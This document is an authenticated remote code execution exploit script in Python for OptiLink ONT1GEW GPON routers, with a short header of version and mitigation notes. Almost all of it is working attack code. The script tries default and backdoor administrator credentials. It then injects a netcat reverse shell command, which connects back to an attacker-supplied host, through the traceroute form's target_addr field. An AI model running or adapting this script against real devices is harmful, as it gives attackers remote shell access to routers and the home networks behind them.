OptiLink ONT1GEW GPON 2.1.11_X101 Remote Code Execution

`# Exploit Title: OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)  
# Date: 23/03/2021  
# Exploit Authors: Developed by SecNigma and Amal.  
# Vendor Homepage: https://optilinknetwork.com/  
# Version: ONT1GEW V2.1.11_X101 Build.1127.190306  
# Mitigation: Ask the vendor to issue a router upgrade to Build.1653.210425 and above,  
# as they do not release the firmware to the public for some unknown reason.  
# Additional notes:   
# Tested on the following configuration. Might be suitable for other OptiLink devices with Build <= 1127.190306.  
# Device Name: ONT1GEW  
# Software Version: V2.1.11_X101  
# Build Information: Build.1127.190306   
# Chances are that XPONs of C-DATA company are affected too.  
# Our research indicated that Optilink devices are just a rebranded version of C-Data.  
# This exploit was tested on the following configuration.  
  
#!/usr/bin/python3  
  
import requests  
import argparse  
import re  
  
def is_login_success(r):  
match=re.findall("invalid username!|bad password!|you have logined error 3 consecutive times, please relogin 1 minute later!|another user have logined in",r.text)  
if match:  
return match  
  
# Default configuration  
# Router address = 192.168.101.1  
# LPORT = 9001  
# Default Username = e8c / Backdoor /  
# Default Password = e8c / Credentials /  
  
parser= argparse.ArgumentParser()  
  
parser.add_argument("-t", "--target", dest = "target", default = "192.168.101.1", help="Target OptiLink Router IP")  
parser.add_argument("-l", "--lhost", dest = "lhost" , help="Our Local IP to catch the shell!", required=True)  
parser.add_argument("-lp", "--lport", dest = "lport", default = "9001", help="Our Local port for catching the shell!")  
parser.add_argument("-u", "--user", dest = "user", default = "e8c", help="Username of Optilink Router")  
parser.add_argument("-p", "--pass", dest = "passw", default = "e8c", help="Password of Optilink Router")  
args = parser.parse_args()  
  
target=args.target,  
lhost=args.lhost,  
lport=args.lport,  
user=args.user,  
passw=args.passw  
  
# e8c:e8c are the backdoor administrator creds to Optilink devices  
# Alternate backdoor credentials are adsl:realtek, admin:admin.  
user2="e8c"  
passw2="e8c"  
  
home_url="http://"+target[0]+"/boaform/admin/formLogin"  
  
print("[+] Trying to authenticate...")  
  
# Authenticate ourselves first  
data={'username':user, 'psd':passw}  
r=requests.post(home_url,data)  
  
res=is_login_success(r)  
if res:  
print("[-] Exploit failed when using the following credentials: "+str(user)+":"+str(passw)+"")  
print("[-] Exploit failed with the following error:")  
print(res)  
print("[!] Do you want to try to authenticate with the following credentials: "+str(user2)+":"+str(passw2)+" ?")  
val = input("Press y or n : ")  
if val[0].lower()=="y":  
print("[+] Trying to authenticate with the credentials "+str(user2)+":"+str(passw2)+"")  
  
# Authenticate ourselves with new creds  
data={'username':user2, 'psd':passw2}  
r=requests.post(home_url,data)  
res2=is_login_success(r)  
  
if res2:  
print("[-] Exploit failed when using the following credentials: "+str(user2)+":"+str(passw2)+"")  
print("[-] Exploit failed with the following error:")  
print(res2)  
print("[-] Halting Execution.")  
exit()  
else:  
print("Received input "+val+"")  
print("[-] Halting Execution.")  
exit()  
  
print("[+] Looks like authentication was succesful!")  
print("[+] Trying to fetch the WAN Name...")  
  
# Fetching Wan Name  
# wan_name="1_INTERNET_R_VID_***"  
  
get_wan_url = "http://"+target[0]+"/diag_ping.asp"  
r=requests.get(get_wan_url)  
  
match=re.findall("name=\"waninf\"><option value=\"(.*?)\">",r.text)  
wan_name=match[0]  
  
  
print("[+] Initiating Exploitation. Don't forget to start the nc listener on port "+str(lport)+"..")  
print("[+] I'm Waiting...Said Captain Jagdish *wink* *wink*")  
print("[+] If everything went right, you should've gotten a shell right now!")  
  
# Starting Exploitation  
  
# The same vulnerability exists in formPing and formTracert.  
# exploit_url = "http://"+target[0]+"/boaform/admin/formPing"  
exploit_url = "http://"+target[0]+"/boaform/admin/formTracert"  
# Found a new way to get reverse shell using mknod instead of mkfifo during the exploitation of this router :)  
# BusyBox binary used by this router was very limited and didn't had mkfifo. So, we got creative to workaround it.  
# The payload is available at swisskeyrepo's PayloadAllTheThings GitHub repo as Netcat BusyBox payload.  
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox  
post_data='target_addr="1.1.1.1+`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+'+lhost[0]+'+'+lport[0]+'+>/tmp/f`"&waninf='+wan_name+'"'  
r=requests.post(exploit_url,post_data)  
  
`